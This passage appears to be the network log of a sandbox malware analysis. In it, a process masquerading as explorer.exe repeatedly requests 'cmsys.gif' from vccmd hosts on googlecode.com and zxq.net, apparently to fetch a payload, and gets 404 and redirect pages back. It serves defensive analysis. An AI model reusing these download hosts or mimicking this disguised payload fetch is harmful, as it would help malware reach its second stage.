arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:55.084765911 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49774	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:56.909068108 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:57.623152018 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:57 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:57.623210907 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49775	51.81.194.202	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:00.577584982 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:01.200303078 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:01 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:12.789340019 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:13.010554075 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49777	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:03.771522999 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:04.497175932 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:04 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:04.497242928 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	64570	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:06.565993071 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:07.273346901 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:07 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:07.273380995 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	64571	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:09.040559053 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:13:09.748948097 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:13:09 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:13:09.748979092 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	64573	51.81.194.202	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:13:13.155014992 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:13.776850939 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:13 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:23.662965059 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:23.840102911 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:23 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 10, 2024 10:13:32.013087988 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:13:32.190247059 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:13:32 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
